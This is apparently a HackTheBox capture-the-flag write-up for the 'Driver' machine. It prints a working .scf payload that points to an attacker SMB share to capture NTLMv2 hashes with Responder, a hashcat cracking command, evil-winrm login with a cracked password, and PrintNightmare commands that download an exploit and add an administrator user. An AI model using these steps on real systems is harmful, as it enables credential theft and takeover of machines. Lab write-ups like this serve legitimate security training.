Driver Hackthebox writeup

5 minute read

In this Box, we are going to abuse the ability of uploading the firmware of a shared printer and capture the NTLMv2 hash of a user on this machine. By cracking the hash there is nothing that can stop us from logging in except the smb shares aren’t accessible so we will use evil-winrm to get the initial access, for the Administrator part we will make use of the vulnerable service “spooler” and add a user in the administrator group.

Scanning :

nmap -T 4 -A -sV 10.10.11.106  -oN nmap_intial.txt

output :

PORT    STATE SERVICE      VERSION
80/tcp  open  http         Microsoft IIS httpd 10.0
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=MFP Firmware Update Center. Please enter password for admin
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn\'t have a title (text/html; charset=UTF-8).

135/tcp open  msrpc        Microsoft Windows RPC
445/tcp open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
Service Info: Host: DRIVER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 7h17m43s, deviation: 0s, median: 7h17m43s
| smb-security-mode:
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required

we can also run full port scan and will get :

PORT     STATE SERVICE
80/tcp   open  http
135/tcp  open  msrpc
445/tcp  open  microsoft-ds
5985/tcp open  wsman

we have this port 5985 open , which we may utilize later check.

Enumeration:

we can start by visiting the web page and it will ask us for a username:password for MFP firmware update center .

searching for MFP will find it stands for multi functioning printer , we can search for default credentials and find it is “admin:admin”

using them will login successfully :

we can add “driver.htb” to the /etc/hosts and start fuzzing for any Vhosts but will find none.
let’s navigate around this site will find option Firmware Updates is working and asking for updating firmware

we should now think about uploading some malicious file to gain a reverse shell , however it won’t work.
we can enumerate SMB that we have found earlier maybe will give us a lead
ACCESS_DENIED from smbclient -L //driver.htb
it seems SMB is running for the printer that is shared among the network

SMB authentication :

according to Microsoft Documentation :

NTLM and the older LAN Manager (LM) encryption are supported by Microsoft SMB Protocol. Both encryption methods use challenge-response authentication, where the server sends the client a random string and the client returns a computed response string that proves the client has sufficient credentials for access.

so if the client (the target) tries to connect to us (attacker) the NTLM hash will be used to authenticate and then we can capture it with Responder tool.
and as the firmwares are checked when the file we upload is loaded at the reviewer file explorer or if he clicked it we can get the hash we need.

Exploitation :

searching for “smb share and printer firmware update exploit” will find this blog here
so creating the payload :

[Shell]
Command=2
IconFile=\\<ip>\share\Mesbaha.ico
[Taskbar]
Command=ToggleDesktop

and name it as "@hack.scf" and before uploading it run Responder to capture the hash (hopefully):

sudo responder -I tun0 -rdwv

GREAT we have NTLMv2 hash now :

now we can try to crack it with hashcat :

hashcat -m 5600 tony_hash  /usr/share/wordlists/rockyou.txt

so we have username and password , now How can we login ?

Foothold :

Most of the impacket tools that takes username:password and try to login depends on SMB shares (i.e : ADMIN$ and C$) and hence they are not accessible they won’t work .
Remember the port we have found in the full port scan ?
reading the blog article i have mentioned above

If WinRM is enabled on the machine, it's trivial to remotely administer the machine from PowerShell. In fact, you can just drop in to a remote PowerShell session on the machine (as if you were using SSH!)

and they mentioned tool : evil-winrm that can help us do this

./evil-winrm.rb -u tony -p liltony -i driver.htb

and the user.txt is in tony’s Desktop

Privilege escalation :

you can start uploading Winpeas and follow the output but i will try first some manual checks
first we know this Box is about printers and drivers maybe we find some exploit that way

in the Microsoft post is says we can run Get-Service -Name Spooler to check if it is running , and it is running

Hence the service is running indeed we can try to exploit it and see if it works , there is this great one here that we can try
we can try to upload it then it will add for us a new user in Administrator group
from machine side we can download the script from our http server with :
note make sure you are in a writable directory

Invoke-WebRequest -Uri http://10.10.16.4:8888/CVE-2021-34527.ps1 -OutFile CVE.ps1

running the exploit :

Import-Module .\CVE.ps1
Invoke-Nightmare -NewUser "0xMesbaha" -NewPassword "supersecretpassword123"

and our new user has been added we can try to login with “evil-winrm” as well :

and if we run net user <user_added> will find :

the root flag is at Administrator Desktop .

Hussien Misbah